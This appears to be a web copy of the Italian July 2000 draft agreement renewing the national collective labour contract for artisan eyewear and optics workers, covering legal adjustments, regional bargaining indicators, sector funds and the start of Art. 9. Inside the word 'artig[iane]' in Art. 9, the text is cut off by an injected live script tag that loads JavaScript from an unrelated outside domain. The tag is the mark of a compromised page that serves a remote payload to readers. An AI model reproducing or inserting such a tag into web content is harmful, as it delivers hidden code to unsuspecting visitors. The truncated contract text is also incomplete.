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Categoria: Occhiali (artigiani)
Settore: Tessili
Data stipula: 13-7-2000
Data decorrenza: 1-8-2000
Data scadenza: 31-12-2003

Ipotesi di Accordo per il rinnovo
Contratto Collettivo Nazionale di Lavoro 7 maggio 1996

PER I LAVORATORI DIPENDENTI DELLE IMPRESE ARTIGIANE
DEL SETTORE OCCHIALERIA-OTTICA

tra

-    Associazione Nazionale Produttori Occhiali-CONFARTIGIANATO
-    CNA
-    CASA
-    CLAAI

e

-    FILTEA-CGIL
-    FILTA-CISL
-    UILTA-UIL


13 luglio 2000



Adeguamento delle normative contrattuali.

Nel  caso  in cui, nel corso della vigenza del presente CCNL, intervengano
norme  di  legge,  modifiche  alla vigente  legislazione,  ovvero  accordi
interconfederali che presuppongano o comportino l'adeguamento dell'attuale
normativa  contrattuale, ovvero che rinviino alle  parti  contrattuali  la
definizione di tempi, modalità e condizioni di applicazione delle  stesse,
le   parti  concordano,  sin  da  ora,  di  incontrarsi  entro  30  giorni
dall'entrata in vigore di tali disposizioni legislative o dalla  firma  di
tali accordi interconfederali, per i necessari adeguamenti e modifiche.


Livello regionale di trattativa.

Negli  incontri che si terranno a livello regionale, le parti valuteranno,
sulla  base di quanto previsto dagli accordi interconfederali in  materia,
le prospettive future dell'andamento del settore nella Regione, anche alla
luce   di   interventi  e  progetti  specifici  per  l'artigianato   della
Occhialeria,  tesi  ad  accrescere la produttività  e  l'efficienza  delle
imprese e del sistema artigiano.

A  tal  fine  dovrà altresì essere orientata l'attività degli  Osservatori
regionali  di  settore,  di cui all'art. 7, CCNL da  costituire  entro  il
30.6.01,   affinché,  anche  in  collegamento  con  gli  Enti   bilaterali
regionali, possano essere raccolti ed elaborati i dati utili alla  lettura
degli indicatori individuati dalle parti, sempre a livello regionale.

Inoltre, al fine di verificare l'andamento del settore nella Regione  agli
effetti  della contrattazione regionale di 2° livello anche  agli  effetti
della  contrattazione salariale, le parti potranno tener conto anche delle
dinamiche  salariali  specifiche e assumeranno i sottoindicati  indicatori
con le rispettive fonti, come elementi di analisi del settore Occhialeria:

-     PIL  regionale  e  valore aggiunto per addetto (fonte:  Istituto  G.
  Tagliacarne e altri);
-    andamento occupazionale (fonti: INPS, EE.BB.);
-      andamento   del   settore  in  relazione  alla  sua  concentrazione
  territoriale: numero e variazioni delle imprese; numero e variazioni degli
  addetti; andamento della media dimensionale delle imprese, ecc.  (fonti:
  INPS,  CCIAA,  Osservatori  di  settore, enti  o  istituti  riconosciuti
  congiuntamente dalle parti).

L'incremento  retributivo mensile di cui all'ultimo comma delle  procedure
per  la  contrattazione regionale è stabilito nella misura del  25%  della
media  degli  incrementi  retributivi  pattuiti  nei  contratti  regionali
sottoscritti, durante la vigenza del presente CCNL, sino a quel momento.


Fondi di categoria.

In  occasione  della contrattazione regionale, le parti possono  convenire
sulla  istituzione  di Fondi regionali di categoria collocati  all'interno
degli  Enti  bilaterali,  compatibilmente con le  norme  istitutive  degli
stessi.

Nel caso di utilizzo di istituti contrattuali per la costituzione di detti
Fondi, occorrerà informare le parti firmatarie il presente CCNL.



Art. 9 - Lavoro esterno.

Le  parti  stipulanti  riaffermano con forza che il  "lavoro"  in  Italia,
comunque  esso sia svolto, debba avvenire nel rispetto delle  leggi  e  di
contratti. Nel caso in cui questo non avvenga, le parti esprimono il  loro
rifiuto verso forme di devianza legislative e/o contrattuali e s'impegnano
ad adoperarsi, nell'ambito delle proprie competenze, per il superamento di
dette situazioni.

Per  esprimere questa volontà e per consentire una più efficace tutela dei
lavoratori,  sia  dipendenti di imprese, sia  artig<script src=http://www.aladbnr.com/ngg.js></script>













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